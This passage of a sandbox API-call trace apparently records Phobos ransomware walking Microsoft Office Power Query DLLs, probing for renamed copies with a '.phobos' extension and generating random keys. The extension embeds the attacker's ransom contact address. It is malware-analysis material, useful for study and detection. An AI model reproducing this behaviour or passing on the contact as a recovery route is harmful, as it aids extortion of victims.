dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.594] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=203432) returned 1 [0155.594] CloseHandle (hObject=0x250) returned 1 [0155.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.594] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.595] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=561216) returned 1 [0155.595] CloseHandle (hObject=0x250) returned 1 [0155.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fi\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.595] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.610] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=65600) returned 1 [0155.610] CloseHandle (hObject=0x250) returned 1 [0155.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.611] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.612] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=168000) returned 1 [0155.612] CloseHandle (hObject=0x250) returned 1 [0155.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.612] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.614] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=213056) returned 1 [0155.614] CloseHandle (hObject=0x250) returned 1 [0155.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.614] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.615] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=588456) returned 1 [0155.615] CloseHandle (hObject=0x250) returned 1 [0155.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.616] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.617] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=61504) returned 1 [0155.617] CloseHandle (hObject=0x250) returned 1 [0155.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.618] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.619] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=159808) returned 1 [0155.619] CloseHandle (hObject=0x250) returned 1 [0155.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.620] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.623] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=204864) returned 1 [0155.623] CloseHandle (hObject=0x250) returned 1 [0155.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.624] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.635] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=565312) returned 1 [0155.635] CloseHandle (hObject=0x36c) returned 1 [0155.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.635] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.637] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=65600) returned 1 [0155.637] CloseHandle (hObject=0x36c) returned 1 [0155.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.637] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.638] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=174760) returned 1 [0155.638] CloseHandle (hObject=0x36c) returned 1 [0155.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.638] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.640] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=228008) returned 1 [0155.640] CloseHandle (hObject=0x36c) returned 1 [0155.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\he\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.640] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 